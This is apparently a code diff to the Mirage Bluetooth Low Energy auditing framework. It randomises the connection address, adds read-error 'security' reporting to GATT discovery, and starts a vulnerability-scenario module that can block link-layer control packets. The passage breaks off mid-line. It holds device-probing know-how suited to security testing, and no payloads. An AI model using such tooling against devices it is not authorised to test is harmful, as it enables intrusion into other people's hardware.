import module +from mirage.libs.ble_utils.sc_crypto import CryptoUtils class ble_connect(module.WirelessModule): def init(self): @@ -23,6 +24,12 @@ def run(self): self.emitter = self.getEmitter(interface=interface) self.receiver = self.getReceiver(interface=interface) + # Local + self.localAddress = CryptoUtils.getRandomAddress() + # Apply new address at each start + self.emitter.setAddress( + self.localAddress, random=True + ) if self.checkCapabilities(): io.info("Trying to connect to : "+self.args["TARGET"]+" (type : "+self.args["CONNECTION_TYPE"]+")") self.emitter.sendp(ble.BLEConnect(self.args["TARGET"], type=self.args["CONNECTION_TYPE"])) diff --git a/mirage/modules/ble_discover.py b/mirage/modules/ble_discover.py index 07a81ca..c6337fb 100644 --- a/mirage/modules/ble_discover.py +++ b/mirage/modules/ble_discover.py @@ -1,412 +1,567 @@ -from mirage.libs import io,utils,ble +from mirage.libs import io, utils, ble from mirage.core import module import configparser class ble_discover(module.WirelessModule): - def init(self): - self.technology = "ble" - self.type = "discover" - self.description = "Discovery module for Bluetooth Low Energy ATT / GATT layers" - self.args = { - "INTERFACE":"hci0", - "START_HANDLE":"0x0001", - "END_HANDLE":"0xFFFF", - "WHAT":"all", - "FILTER":"", - "FILTER_BY":"", - "ATT_FILE":"", - "GATT_FILE":"" - } - - def checkCapabilities(self): - return self.receiver.hasCapabilities("COMMUNICATING_AS_MASTER") - - def exportAttributes(self,attributes): - config = configparser.ConfigParser() - for attribute in attributes: - type = attribute["type"].hex() - value = attribute["value"].hex() - handle = "0x{:04x}".format(attribute["handle"]) - config[handle] = {"type":type,"value":value} - with open(self.args["ATT_FILE"], 'w') as outfile: - config.write(outfile) - io.success("Discovered attributes are saved as "+self.args["ATT_FILE"]+" (CFG file format)") - - def exportGATT(self,datas): - - config = configparser.ConfigParser() - for element in datas: - service = element["service"] - startHandle = "0x{:04x}".format(service["startHandle"]) - uuid = service["uuid"].data.hex() - endHandle = "0x{:04x}".format(service["endHandle"]) - config[startHandle] = {"type":"service","uuid":uuid,"endHandle":endHandle,"serviceType":service["serviceType"]} - for characteristic in element["characteristics"]: - declarationHandle = "0x{:04x}".format(characteristic["declarationHandle"]) - uuid = characteristic["uuid"].data.hex() - permissions = ','.join(characteristic["permissionsFlag"].permissions) - value = characteristic["value"].hex() - valueHandle = "0x{:04x}".format(characteristic["valueHandle"]) - config[declarationHandle] = { - "type":"characteristic", - "uuid":uuid, - "permissions":permissions, - "value":value, - "valueHandle":valueHandle - } - if "descriptors" in characteristic: - for descriptor in characteristic["descriptors"]: - uuid = descriptor["type"].hex() - handle = "0x{:04x}".format(descriptor["handle"]) - value = descriptor["value"].hex() - config[handle] = {"type":"descriptor","uuid":uuid,"value":value} - with open(self.args["GATT_FILE"], 'w') as outfile: - config.write(outfile) - io.success("Discovered services and characteristics are saved as "+self.args["GATT_FILE"]+" (CFG file format)") - - def receive(self,types,retry=None): - while True: - p = self.receiver.next(timeout=3) - - if p is None: - self.emitter.sendp(retry) - else: - for typeInstance in types: - if isinstance(p,typeInstance): - return p - def serviceToString(self,service): - uuid128 = service["uuid"].UUID128.hex() if service["uuid"].UUID128 is not None else "" - name = service["uuid"].name if service["uuid"].name is not None else "" - info = ("'"+name+"'" if name != "" else uuid128) - - handles = "(start Handle = " +"0x{:04x}".format(service["startHandle"])+ " / end Handle = " + "0x{:04x}".format(service["endHandle"])+")" - - return "Service " + info + handles - - def printCharacteristics(self, characteristics,title="Characteristics"): - formattedCharacteristics = [] - for characteristic in characteristics: - declarationHandle = "0x{:04x}".format(characteristic["declarationHandle"]) - valueHandle = "0x{:04x}".format(characteristic["valueHandle"]) - permissionsFlag = ",".join(characteristic["permissionsFlag"]) - uuid16 = (hex(characteristic["uuid"].UUID16) - if characteristic["uuid"].UUID16 is not None - else "" - ) - uuid128 = (characteristic["uuid"].UUID128.hex() - if characteristic["uuid"].UUID128 is not None - else "" - ) - name = (characteristic["uuid"].name - if characteristic["uuid"].name is not None - else "" - ) - value = (characteristic["value"].replace(b"\x00",b"").decode("ascii") - if utils.isPrintable(characteristic["value"]) - else characteristic["value"].hex() - ) - descriptors = "" - if "descriptors" in characteristic: - for desc in characteristic["descriptors"]: - namedesc = ble.CharacteristicDescriptor(data=desc["type"]).UUID.name - valuedesc = (desc["value"].replace(b"\x00",b"").decode("ascii") - if utils.isPrintable(desc["value"]) and len(desc["value"])>0 - else desc["value"].hex() - ) - endSymbol = "\n" if characteristic["descriptors"][-1]!=desc else "" - descriptors += namedesc +" : "+ valuedesc + endSymbol - formattedCharacteristics.append([declarationHandle, valueHandle, uuid16, uuid128, name,permissionsFlag,value,descriptors]) - io.chart(["Declaration Handle","Value Handle","UUID16","UUID128","Name","Permissions", "Value","Descriptors"] - ,formattedCharacteristics, - io.colorize(title, "yellow") - ) - - def printServices(self, services, title="Services"): - formattedServices = [] - for service in services: - startHandle = "0x{:04x}".format(service["startHandle"]) - endHandle = "0x{:04x}".format(service["endHandle"]) - uuid16 = (hex(service["uuid"].UUID16) - if service["uuid"].UUID16 is not None - else "" - ) - uuid128 = (service["uuid"].UUID128.hex() - if service["uuid"].UUID128 is not None - else "" - ) - name = (service["uuid"].name - if service["uuid"].name is not None - else "" - ) - formattedServices.append([startHandle,endHandle,uuid16, uuid128,name]) - io.chart(["Start Handle","End Handle", "UUID16", "UUID128", "Name"], - formattedServices, - io.colorize(title, "yellow") - ) - - def printAttributes(self,attributes): - formattedAttributes = [] - for attribute in attributes: - aType = ble.UUID(data=attribute["type"]) - if aType.name is not None: - attributeType = aType.name - elif aType.UUID16 is not None: - attributeType = hex(aType.UUID16) - else: - attributeType = aType.UUID128.hex() - - attributeValue = attribute["value"].replace(b"\x00",b"").decode("ascii") if utils.isPrintable(attribute["value"]) else attribute["value"].hex() - attributeHandle = "0x{:04x}".format(attribute["handle"]) - formattedAttributes.append([attributeHandle, attributeType,attributeValue]) - io.chart(["Attribute Handle", "Attribute Type", "Attribute Value"], - formattedAttributes, - io.colorize("Attributes","yellow") - ) - - - def servicesDiscovery(self, uuid, startHandle = 0x0001, endHandle = 0xffff): - start,end, continuer = startHandle, endHandle, True - services = [] - while continuer: - - request = ble.BLEReadByGroupTypeRequest(startHandle=start,endHandle=end,uuid=uuid) - - self.emitter.sendp(request) - - p = self.receive([ble.BLEReadByGroupTypeResponse,ble.BLEErrorResponse],retry=request) - - if isinstance(p,ble.BLEReadByGroupTypeResponse): - - for i in p.attributes: - - service = ble.Service(data=i['value'][::-1]) - - serviceStruct = { - "startHandle":i["attributeHandle"], - "endHandle":i["endGroupHandle"], - "uuid":service.UUID - } - - if serviceStruct not in services: - services.append(serviceStruct) - start = p.attributes[-1]["endGroupHandle"] + 1 - continuer = (start <= 0xFFFF) - elif isinstance(p,ble.BLEErrorResponse): - continuer = False - else: - pass - return services - - def primaryServicesDiscovery(self,startHandle = 0x0001, endHandle = 0xffff): - uuid = ble.UUID(name="Primary Service").UUID16 - return self.servicesDiscovery(uuid,startHandle=startHandle,endHandle=endHandle) - - def secondaryServicesDiscovery(self,startHandle = 0x0001, endHandle = 0xffff): - uuid = ble.UUID(name="Secondary Service").UUID16 - return self.servicesDiscovery(uuid,startHandle=startHandle,endHandle=endHandle) - - def allServicesDiscovery(self, startHandle = 0x0001, endHandle = 0xffff): - primary = self.primaryServicesDiscovery(startHandle=startHandle,endHandle=endHandle) - for service in primary: - service["serviceType"] = "primary" - secondary = self.secondaryServicesDiscovery(startHandle=startHandle,endHandle=endHandle) - for service in secondary: - service["serviceType"] = "secondary" - return primary + secondary - - def characteristicsDiscovery(self,startHandle=0x0001, endHandle=0xFFFF): - characteristicDeclarationUUID = ble.UUID(name="Characteristic Declaration").UUID16 - start, end, continuer = startHandle,endHandle,True - characteristics = [] - while continuer: - request = ble.BLEReadByTypeRequest(startHandle=start,endHandle=end,uuid= characteristicDeclarationUUID) - self.emitter.sendp(request) - - p = self.receive([ble.BLEReadByTypeResponse,ble.BLEErrorResponse],retry=request) - - if isinstance(p,ble.BLEReadByTypeResponse): - - for i in p.attributes: - - characteristicDeclaration = ble.CharacteristicDeclaration(data=i['value'][::-1]) - characteristic = { - "declarationHandle":i["attributeHandle"], - "valueHandle":characteristicDeclaration.valueHandle, - "uuid":characteristicDeclaration.UUID, - "permissionsFlag":characteristicDeclaration.permissionsFlag, - "value":b"" - } - if "Read" in characteristicDeclaration.permissionsFlag: - request = ble.BLEReadRequest(handle=characteristicDeclaration.valueHandle) - self.emitter.sendp(request) - p = self.receive([ble.BLEReadResponse,ble.BLEErrorResponse],retry=request) - if isinstance(p,ble.BLEReadResponse): - characteristic["value"] = p.value - - - characteristics.append(characteristic) - start = i["attributeHandle"] - - start = start + 1 - continuer = (start <= 0xFFFF) - - elif isinstance(p,ble.BLEErrorResponse): - continuer = False - else: - pass - return characteristics - - def attributesDiscovery(self, startHandle = 0x0001, endHandle = 0xFFFF): - attributes = [] - start, end, continuer = startHandle,endHandle, True - while continuer: - request = ble.BLEFindInformationRequest(startHandle=start, endHandle=end) - self.emitter.sendp(request) - p = self.receive([ble.BLEFindInformationResponse,ble.BLEErrorResponse],retry=request) - if isinstance(p,ble.BLEFindInformationResponse): - for i in p.attributes: - attribute = {"handle":i["attributeHandle"], "type":i["type"], "value":b""} - if attribute not in attributes: - attributes.append(attribute) - start = i["attributeHandle"] + 1 - - continuer = (start < 0xFFFF) - elif isinstance(p,ble.BLEErrorResponse): - continuer = False - else: - pass - - for attribute in attributes: - request = ble.BLEReadRequest(handle=attribute["handle"]) - self.emitter.sendp(request) - p = self.receive([ble.BLEReadResponse,ble.BLEErrorResponse],retry=request) - - if isinstance(p,ble.BLEReadResponse): - attribute["value"] = p.value - - return attributes - - def characteristicDescriptorDiscovery(self, startHandle = 0x0001, endHandle = 0xFFFF): - descriptors = [] - start, end, continuer = startHandle,endHandle, True - while continuer: - request = ble.BLEFindInformationRequest(startHandle=start, endHandle=end) - self.emitter.sendp(request) - p = self.receive([ble.BLEFindInformationResponse,ble.BLEErrorResponse],retry=request) - if isinstance(p,ble.BLEFindInformationResponse): - for i in p.attributes: - attribute = {"handle":i["attributeHandle"], "type":i["type"], "value":""} - if attribute not in descriptors: - request2 = ble.BLEReadRequest(handle=i["attributeHandle"]) - self.emitter.sendp(request2) - p2 = self.receive([ble.BLEReadResponse,ble.BLEErrorResponse],retry=request2) - if isinstance(p2,ble.BLEReadResponse): - attribute["value"] = p2.value - else: - attribute["value"] = b"" - descriptors.append(attribute) - start = i["attributeHandle"] + 1 - - continuer = (start < 0xFFFF) - elif isinstance(p,ble.BLEErrorResponse): - continuer = False - else: - pass - return descriptors - - def characteristicsByServiceDiscovery(self,service): - return self.characteristicsDiscovery(startHandle=service["startHandle"],endHandle = service["endHandle"]) - - def parseFilterType(self): - filterType = self.args["FILTER"] - if filterType=="": - return None - if utils.isNumber(filterType): - return ble.UUID(UUID16=int(filterType)).data - elif utils.isHexadecimal(filterType) and len(filterType)<=6: - return ble.UUID(UUID16=int(filterType, 16)).data - elif utils.isHexadecimal(filterType) and len(filterType)>6: - uuid = ble.UUID(UUID128=bytes.fromhex(filterType)).data - if uuid is None: - return bytes.fromhex(filterType) - else: - return uuid - else: - return ble.UUID(name=filterType).data - def applyFilter(self, attributes): - filteredAttributes = attributes - filterBy = self.args["FILTER_BY"].lower() - if filterBy == "type": - filterType = self.parseFilterType() - if filterType is not None: - filteredAttributes = [i for i in attributes if i["type"] == filterType] - elif filterBy == "value": - filterValue = self.args["FILTER"] - if utils.isHexadecimal(filterValue): - filterValue = bytes.fromhex(filterValue) - else: - filterValue = bytes(filterValue,"utf-8") - - filteredAttributes = [i for i in attributes if filterValue in i["value"]] - return filteredAttributes - - def run(self): - interface = self.args["INTERFACE"] - start = utils.integerArg(self.args["START_HANDLE"]) - end = utils.integerArg(self.args["END_HANDLE"]) - self.emitter = self.getEmitter(interface=interface) - self.receiver = self.getReceiver(interface=interface) - if self.checkCapabilities(): - if self.receiver.isConnected(): - for what in utils.listArg(self.args["WHAT"]): - what = what.lower() - if what == "primaryservices": - services = self.primaryServicesDiscovery(startHandle=start, endHandle=end) - self.printServices(services,"Primary Services") - elif what == "secondaryservices": - services = self.secondaryServicesDiscovery(startHandle=start, endHandle=end) - self.printServices(services,"Secondary Services") - elif what == "services": - services = self.allServicesDiscovery(startHandle=start, endHandle=end) - self.printServices(services) - elif what == "characteristics": - characteristics = self.characteristicsDiscovery(startHandle=start, endHandle=end) - self.printCharacteristics(characteristics) - elif what == "attributes": - attributes = self.attributesDiscovery(startHandle=start, endHandle=end) - attributes = self.applyFilter(attributes) - self.printAttributes(attributes) - if self.args["ATT_FILE"] != "": - self.exportAttributes(attributes) - return self.ok({"ATT_FILE":self.args["ATT_FILE"]}) - elif what == "all": - io.info("Services discovery ...") - services = self.allServicesDiscovery(startHandle=start, endHandle=end) - self.printServices(services) - io.info("Characteristics by service discovery ...") - alldatas = [] - - for service in services: - characteristics = self.characteristicsByServiceDiscovery(service) - - for i in range(0,len(characteristics)-1): - start = characteristics[i]["valueHandle"]+1 - end = characteristics[i+1]["declarationHandle"]-1 - if end - start >= 0 : - characteristics[i]["descriptors"] = self.characteristicDescriptorDiscovery(start,end) - if len(characteristics) > 0: - start = characteristics[-1]["valueHandle"]+1 - end = service["endHandle"] - if end - start >= 0 : - characteristics[-1]["descriptors"] = self.characteristicDescriptorDiscovery(start,end) - - alldatas.append({"service":service,"characteristics":characteristics}) - self.printCharacteristics(characteristics, self.serviceToString(service)) - if self.args["GATT_FILE"] != "": - self.exportGATT(alldatas) - return self.ok({"GATT_FILE":self.args["GATT_FILE"]}) - return self.ok() - else: - io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to communicate as master.") - return self.nok() + def init(self): + self.technology = "ble" + self.type = "discover" + self.description = "Discovery module for Bluetooth Low Energy ATT / GATT layers" + self.args = { + "INTERFACE": "hci0", + "START_HANDLE": "0x0001", + "END_HANDLE": "0xFFFF", + "WHAT": "all", + "FILTER": "", + "FILTER_BY": "", + "ATT_FILE": "", + "GATT_FILE": "", + } + + def checkCapabilities(self): + return self.receiver.hasCapabilities("COMMUNICATING_AS_MASTER") + + def exportAttributes(self, attributes): + config = configparser.ConfigParser() + for attribute in attributes: + type = attribute["type"].hex() + value = attribute["value"].hex() + handle = "0x{:04x}".format(attribute["handle"]) + config[handle] = {"type": type, "value": value} + with open(self.args["ATT_FILE"], "w") as outfile: + config.write(outfile) + io.success( + "Discovered attributes are saved as " + + self.args["ATT_FILE"] + + " (CFG file format)" + ) + + def exportGATT(self, datas): + + config = configparser.ConfigParser() + for element in datas: + service = element["service"] + startHandle = "0x{:04x}".format(service["startHandle"]) + uuid = service["uuid"].data.hex() + endHandle = "0x{:04x}".format(service["endHandle"]) + config[startHandle] = { + "type": "service", + "uuid": uuid, + "endHandle": endHandle, + "serviceType": service["serviceType"], + } + for characteristic in element["characteristics"]: + declarationHandle = "0x{:04x}".format( + characteristic["declarationHandle"] + ) + uuid = characteristic["uuid"].data.hex() + permissions = ",".join(characteristic["permissionsFlag"].permissions) + value = characteristic["value"].hex() + security = ( + characteristic["security"] + if characteristic["security"] == "None" + else characteristic["security"].hex() + ) + valueHandle = "0x{:04x}".format(characteristic["valueHandle"]) + config[declarationHandle] = { + "type": "characteristic", + "uuid": uuid, + "permissions": permissions, + "value": value, + "security": security, + "valueHandle": valueHandle, + } + if "descriptors" in characteristic: + for descriptor in characteristic["descriptors"]: + uuid = descriptor["type"].hex() + handle = "0x{:04x}".format(descriptor["handle"]) + value = descriptor["value"].hex() + config[handle] = { + "type": "descriptor", + "uuid": uuid, + "value": value, + } + with open(self.args["GATT_FILE"], "w") as outfile: + config.write(outfile) + io.success( + "Discovered services and characteristics are saved as " + + self.args["GATT_FILE"] + + " (CFG file format)" + ) + + def receive(self, types, retry=None): + while True: + p = self.receiver.next(timeout=3) + + if p is None: + self.emitter.sendp(retry) + else: + for typeInstance in types: + if isinstance(p, typeInstance): + return p + + def serviceToString(self, service): + uuid128 = ( + service["uuid"].UUID128.hex() if service["uuid"].UUID128 is not None else "" + ) + name = service["uuid"].name if service["uuid"].name is not None else "" + info = "'" + name + "'" if name != "" else uuid128 + + handles = ( + "(start Handle = " + + "0x{:04x}".format(service["startHandle"]) + + " / end Handle = " + + "0x{:04x}".format(service["endHandle"]) + + ")" + ) + + return "Service " + info + handles + + def printCharacteristics(self, characteristics, title="Characteristics"): + formattedCharacteristics = [] + for characteristic in characteristics: + declarationHandle = "0x{:04x}".format(characteristic["declarationHandle"]) + valueHandle = "0x{:04x}".format(characteristic["valueHandle"]) + permissionsFlag = ",".join(characteristic["permissionsFlag"]) + uuid16 = ( + hex(characteristic["uuid"].UUID16) + if characteristic["uuid"].UUID16 is not None + else "" + ) + uuid128 = ( + characteristic["uuid"].UUID128.hex() + if characteristic["uuid"].UUID128 is not None + else "" + ) + name = ( + characteristic["uuid"].name + if characteristic["uuid"].name is not None + else "" + ) + value = ( + characteristic["value"].replace(b"\x00", b"").decode("ascii") + if utils.isPrintable(characteristic["value"]) + else characteristic["value"].hex() + ) + security = ( + characteristic["security"] + if characteristic["security"] == "None" + else characteristic["security"].hex() + ) + + descriptors = "" + if "descriptors" in characteristic: + for desc in characteristic["descriptors"]: + namedesc = ( + ble.CharacteristicDescriptor(data=desc["type"]).UUID.name + if ble.CharacteristicDescriptor(data=desc["type"]).UUID.name + != None + else "" + ) + valuedesc = ( + desc["value"].replace(b"\x00", b"").decode("ascii") + if utils.isPrintable(desc["value"]) and len(desc["value"]) > 0 + else desc["value"].hex() + ) + endSymbol = ( + "\n" if characteristic["descriptors"][-1] != desc else "" + ) + descriptors += namedesc + " : " + valuedesc + endSymbol + formattedCharacteristics.append( + [ + declarationHandle, + valueHandle, + uuid16, + uuid128, + name, + security, + permissionsFlag, + value, + descriptors, + ] + ) + io.chart( + [ + "Declaration Handle", + "Value Handle", + "UUID16", + "UUID128", + "Name", + "Security", + "Permissions", + "Value", + "Descriptors", + ], + formattedCharacteristics, + io.colorize(title, "yellow"), + ) + + def printServices(self, services, title="Services"): + formattedServices = [] + for service in services: + startHandle = "0x{:04x}".format(service["startHandle"]) + endHandle = "0x{:04x}".format(service["endHandle"]) + uuid16 = ( + hex(service["uuid"].UUID16) + if service["uuid"].UUID16 is not None + else "" + ) + uuid128 = ( + service["uuid"].UUID128.hex() + if service["uuid"].UUID128 is not None + else "" + ) + name = service["uuid"].name if service["uuid"].name is not None else "" + formattedServices.append([startHandle, endHandle, uuid16, uuid128, name]) + io.chart( + ["Start Handle", "End Handle", "UUID16", "UUID128", "Name"], + formattedServices, + io.colorize(title, "yellow"), + ) + + def printAttributes(self, attributes): + formattedAttributes = [] + for attribute in attributes: + aType = ble.UUID(data=attribute["type"]) + if aType.name is not None: + attributeType = aType.name + elif aType.UUID16 is not None: + attributeType = hex(aType.UUID16) + else: + attributeType = aType.UUID128.hex() + + attributeValue = ( + attribute["value"].replace(b"\x00", b"").decode("ascii") + if utils.isPrintable(attribute["value"]) + else attribute["value"].hex() + ) + attributeHandle = "0x{:04x}".format(attribute["handle"]) + formattedAttributes.append([attributeHandle, attributeType, attributeValue]) + io.chart( + ["Attribute Handle", "Attribute Type", "Attribute Value"], + formattedAttributes, + io.colorize("Attributes", "yellow"), + ) + + def servicesDiscovery(self, uuid, startHandle=0x0001, endHandle=0xFFFF): + start, end, continuer = startHandle, endHandle, True + services = [] + while continuer: + + request = ble.BLEReadByGroupTypeRequest( + startHandle=start, endHandle=end, uuid=uuid + ) + + self.emitter.sendp(request) + + p = self.receive( + [ble.BLEReadByGroupTypeResponse, ble.BLEErrorResponse], retry=request + ) + + if isinstance(p, ble.BLEReadByGroupTypeResponse): + + for i in p.attributes: + + service = ble.Service(data=i["value"][::-1]) + + serviceStruct = { + "startHandle": i["attributeHandle"], + "endHandle": i["endGroupHandle"], + "uuid": service.UUID, + } + + if serviceStruct not in services: + services.append(serviceStruct) + start = p.attributes[-1]["endGroupHandle"] + 1 + continuer = start <= 0xFFFF + elif isinstance(p, ble.BLEErrorResponse): + continuer = False + else: + pass + return services + + def primaryServicesDiscovery(self, startHandle=0x0001, endHandle=0xFFFF): + uuid = ble.UUID(name="Primary Service").UUID16 + return self.servicesDiscovery( + uuid, startHandle=startHandle, endHandle=endHandle + ) + + def secondaryServicesDiscovery(self, startHandle=0x0001, endHandle=0xFFFF): + uuid = ble.UUID(name="Secondary Service").UUID16 + return self.servicesDiscovery( + uuid, startHandle=startHandle, endHandle=endHandle + ) + + def allServicesDiscovery(self, startHandle=0x0001, endHandle=0xFFFF): + primary = self.primaryServicesDiscovery( + startHandle=startHandle, endHandle=endHandle + ) + for service in primary: + service["serviceType"] = "primary" + secondary = self.secondaryServicesDiscovery( + startHandle=startHandle, endHandle=endHandle + ) + for service in secondary: + service["serviceType"] = "secondary" + return primary + secondary + + def characteristicsDiscovery(self, startHandle=0x0001, endHandle=0xFFFF): + characteristicDeclarationUUID = ble.UUID( + name="Characteristic Declaration" + ).UUID16 + start, end, continuer = startHandle, endHandle, True + characteristics = [] + while continuer: + request = ble.BLEReadByTypeRequest( + startHandle=start, endHandle=end, uuid=characteristicDeclarationUUID + ) + self.emitter.sendp(request) + + p = self.receive( + [ble.BLEReadByTypeResponse, ble.BLEErrorResponse], retry=request + ) + + if isinstance(p, ble.BLEReadByTypeResponse): + + for i in p.attributes: + + characteristicDeclaration = ble.CharacteristicDeclaration( + data=i["value"][::-1] + ) + characteristic = { + "declarationHandle": i["attributeHandle"], + "valueHandle": characteristicDeclaration.valueHandle, + "uuid": characteristicDeclaration.UUID, + "permissionsFlag": characteristicDeclaration.permissionsFlag, + "value": b"", + "security": b"", + } + if "Read" in characteristicDeclaration.permissionsFlag: + request = ble.BLEReadRequest( + handle=characteristicDeclaration.valueHandle + ) + self.emitter.sendp(request) + p = self.receive( + [ble.BLEReadResponse, ble.BLEErrorResponse], retry=request + ) + if isinstance(p, ble.BLEReadResponse): + characteristic["value"] = p.value + characteristic["security"] = "None" + else: + characteristic["security"] = bytes([p.ecode]) + + characteristics.append(characteristic) + start = i["attributeHandle"] + + start = start + 1 + continuer = start <= 0xFFFF + + elif isinstance(p, ble.BLEErrorResponse): + continuer = False + else: + pass + return characteristics + + def attributesDiscovery(self, startHandle=0x0001, endHandle=0xFFFF): + attributes = [] + start, end, continuer = startHandle, endHandle, True + while continuer: + request = ble.BLEFindInformationRequest(startHandle=start, endHandle=end) + self.emitter.sendp(request) + p = self.receive( + [ble.BLEFindInformationResponse, ble.BLEErrorResponse], retry=request + ) + if isinstance(p, ble.BLEFindInformationResponse): + for i in p.attributes: + attribute = { + "handle": i["attributeHandle"], + "type": i["type"], + "value": b"", + } + if attribute not in attributes: + attributes.append(attribute) + start = i["attributeHandle"] + 1 + + continuer = start < 0xFFFF + elif isinstance(p, ble.BLEErrorResponse): + continuer = False + else: + pass + + for attribute in attributes: + request = ble.BLEReadRequest(handle=attribute["handle"]) + self.emitter.sendp(request) + p = self.receive([ble.BLEReadResponse, ble.BLEErrorResponse], retry=request) + + if isinstance(p, ble.BLEReadResponse): + attribute["value"] = p.value + + return attributes + + def characteristicDescriptorDiscovery(self, startHandle=0x0001, endHandle=0xFFFF): + descriptors = [] + start, end, continuer = startHandle, endHandle, True + while continuer: + request = ble.BLEFindInformationRequest(startHandle=start, endHandle=end) + self.emitter.sendp(request) + p = self.receive( + [ble.BLEFindInformationResponse, ble.BLEErrorResponse], retry=request + ) + if isinstance(p, ble.BLEFindInformationResponse): + for i in p.attributes: + attribute = { + "handle": i["attributeHandle"], + "type": i["type"], + "value": "", + } + if attribute not in descriptors: + request2 = ble.BLEReadRequest(handle=i["attributeHandle"]) + self.emitter.sendp(request2) + p2 = self.receive( + [ble.BLEReadResponse, ble.BLEErrorResponse], retry=request2 + ) + if isinstance(p2, ble.BLEReadResponse): + attribute["value"] = p2.value + else: + attribute["value"] = b"" + descriptors.append(attribute) + start = i["attributeHandle"] + 1 + + continuer = start < 0xFFFF + elif isinstance(p, ble.BLEErrorResponse): + continuer = False + else: + pass + return descriptors + + def characteristicsByServiceDiscovery(self, service): + return self.characteristicsDiscovery( + startHandle=service["startHandle"], endHandle=service["endHandle"] + ) + + def parseFilterType(self): + filterType = self.args["FILTER"] + if filterType == "": + return None + if utils.isNumber(filterType): + return ble.UUID(UUID16=int(filterType)).data + elif utils.isHexadecimal(filterType) and len(filterType) <= 6: + return ble.UUID(UUID16=int(filterType, 16)).data + elif utils.isHexadecimal(filterType) and len(filterType) > 6: + uuid = ble.UUID(UUID128=bytes.fromhex(filterType)).data + if uuid is None: + return bytes.fromhex(filterType) + else: + return uuid + else: + return ble.UUID(name=filterType).data + + def applyFilter(self, attributes): + filteredAttributes = attributes + filterBy = self.args["FILTER_BY"].lower() + if filterBy == "type": + filterType = self.parseFilterType() + if filterType is not None: + filteredAttributes = [i for i in attributes if i["type"] == filterType] + elif filterBy == "value": + filterValue = self.args["FILTER"] + if utils.isHexadecimal(filterValue): + filterValue = bytes.fromhex(filterValue) + else: + filterValue = bytes(filterValue, "utf-8") + + filteredAttributes = [ + i for i in attributes if filterValue in i["value"] + ] + return filteredAttributes + + def run(self): + interface = self.args["INTERFACE"] + start = utils.integerArg(self.args["START_HANDLE"]) + end = utils.integerArg(self.args["END_HANDLE"]) + self.emitter = self.getEmitter(interface=interface) + self.receiver = self.getReceiver(interface=interface) + if self.checkCapabilities(): + if self.receiver.isConnected(): + for what in utils.listArg(self.args["WHAT"]): + what = what.lower() + if what == "primaryservices": + services = self.primaryServicesDiscovery( + startHandle=start, endHandle=end + ) + self.printServices(services, "Primary Services") + elif what == "secondaryservices": + services = self.secondaryServicesDiscovery( + startHandle=start, endHandle=end + ) + self.printServices(services, "Secondary Services") + elif what == "services": + services = self.allServicesDiscovery( + startHandle=start, endHandle=end + ) + self.printServices(services) + elif what == "characteristics": + characteristics = self.characteristicsDiscovery( + startHandle=start, endHandle=end + ) + self.printCharacteristics(characteristics) + elif what == "attributes": + attributes = self.attributesDiscovery( + startHandle=start, endHandle=end + ) + attributes = self.applyFilter(attributes) + self.printAttributes(attributes) + if self.args["ATT_FILE"] != "": + self.exportAttributes(attributes) + return self.ok({"ATT_FILE": self.args["ATT_FILE"]}) + elif what == "all": + io.info("Services discovery ...") + services = self.allServicesDiscovery( + startHandle=start, endHandle=end + ) + self.printServices(services) + io.info("Characteristics by service discovery ...") + alldatas = [] + + for service in services: + characteristics = self.characteristicsByServiceDiscovery( + service + ) + + for i in range(0, len(characteristics) - 1): + start = characteristics[i]["valueHandle"] + 1 + end = characteristics[i + 1]["declarationHandle"] - 1 + if end - start >= 0: + characteristics[i][ + "descriptors" + ] = self.characteristicDescriptorDiscovery( + start, end + ) + if len(characteristics) > 0: + start = characteristics[-1]["valueHandle"] + 1 + end = service["endHandle"] + if end - start >= 0: + characteristics[-1][ + "descriptors" + ] = self.characteristicDescriptorDiscovery( + start, end + ) + + alldatas.append( + {"service": service, "characteristics": characteristics} + ) + self.printCharacteristics( + characteristics, self.serviceToString(service) + ) + if self.args["GATT_FILE"] != "": + self.exportGATT(alldatas) + return self.ok({"GATT_FILE": self.args["GATT_FILE"]}) + return self.ok() + else: + io.fail( + "Interface provided (" + + str(self.args["INTERFACE"]) + + ") is not able to communicate as master." + ) + return self.nok() diff --git a/mirage/modules/ble_generic.py b/mirage/modules/ble_generic.py new file mode 100644 index 0000000..f7a5a21 --- /dev/null +++ b/mirage/modules/ble_generic.py @@ -0,0 +1,1621 @@ +from mirage.libs import utils, ble +from mirage.core import module +from enum import IntEnum +from mirage.libs.ble_utils.packets import * +from mirage.libs import io +from mirage.libs.ble_utils.constants import LL_ERROR_CODES as errorCode + + +class ble_generic(module.WirelessModule): + class BLEStage(IntEnum): + # Not doing something specific + IDLE = 0 + # Waiting for advertisments or scan_rsp + SCAN = 1 + # Wait connection + WAIT_CONN = 2 + # Custom state 1 + CUSTOM1 = 3 + # Custom state 2 + CUSTOM2 = 4 + # Custom state 3 + CUSTOM3 = 5 + # STOP execution, end of scenario + STOP = 6 + + class ScenarioResult(IntEnum): + VULN = 0 + MAYBE = 1 + NOT = 2 + + def printScenarioStart(self, name): + name = "Start Scenario {}".format(name) + border = "=" * int((100 - len(name)) / 2) + title = border + name + border + io.success(title) + + def printScenarioEnd(self, result): + resultText1 = "Scenario finished {}".format( + "successful" if result["finished"] else "with failure", result["success"] + ) + border = "=" * 100 + io.success(border) + if result["finished"]: + io.success(resultText1) + else: + io.fail(resultText1) + if result["finished"]: + resultText2 = "Device is {}{}".format( + "maybe " if result["success"] == self.ScenarioResult.MAYBE else "", + "vulnerable" + if result["success"] != self.ScenarioResult.NOT + else "not vulnerable", + ) + if result["success"] == self.ScenarioResult.VULN: + io.fail(resultText2) + elif result["success"] == self.ScenarioResult.MAYBE: + io.warning(resultText2) + else: + io.success(resultText2) + io.success(border) + + def createByte(self, start, end, listOfBlockedPDUs): + blockedPDUVectorString = "" + for pduID in range(end, start - 1, -1): + if pduID in listOfBlockedPDUs: + blockedPDUVectorString += "1" + else: + blockedPDUVectorString += "0" + return blockedPDUVectorString + + def addBlockedPDUsForEmitter(self, emitter, listOfBlockedPDUs): + blockedPDUVectorString = "" + for i in range(0, 4): + blockedPDUVectorString += self.createByte( + i * 8, (i * 8) + 7, listOfBlockedPDUs + ) + blockedPDUVector = bytes( + int(blockedPDUVectorString[i : i + 8], 2) + for i in range(0, len(blockedPDUVectorString), 8) + ) + emitter.setBlockedCtrlPDU(blocked_ctrl_pdu=blockedPDUVector) + + def checkSlaveEmitterCapabilities(self): + a2scap = self.a2sEmitter.hasCapabilities( + "COMMUNICATING_AS_MASTER", "INITIATING_CONNECTION", "SCANNING" + ) + return a2scap + + def checkMasterEmitterCapabilities(self): + a2mcap = False + if 